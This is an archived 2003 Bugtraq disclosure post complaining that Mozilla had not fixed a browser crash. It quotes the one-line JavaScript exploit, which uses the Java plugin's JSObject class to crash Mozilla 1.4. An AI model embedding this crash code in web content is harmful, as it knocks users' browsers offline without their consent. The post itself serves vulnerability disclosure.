bugtraq - Crash Mozilla 1.5

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 5 Sep 2003 19:48:55 +0200 (MES)
From: Marc Schoenefeld <schonef@...-muenster.de>
To: bugtraq@...urityfocus.com
Subject: Crash Mozilla 1.5


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

 seems like Mozilla is not interested in fixing bugs,
 the exploit I posted in March to bugtraq (described in
 http://www.mail-archive.com/bugtraq@securityfocus.com/msg11430.html),
 still crashes the actual version 1.4 of the Mozilla Browser:
 My version is Gecko/20030624 with Java 1.4.2
 The exploit code is:
 (scr1pt language="Javascript")
  t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
 (/scr1pt)

 Cheers
 Marc

- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org

iD8DBQE/WMyJqCaQvrKNUNQRAkdpAJ9WRQi4u4gilbmzQb9mZNqAowhl+wCdHklB
73WM+1VxoimLo7EkXxUdIkY=
=PNjP
-----END PGP SIGNATURE-----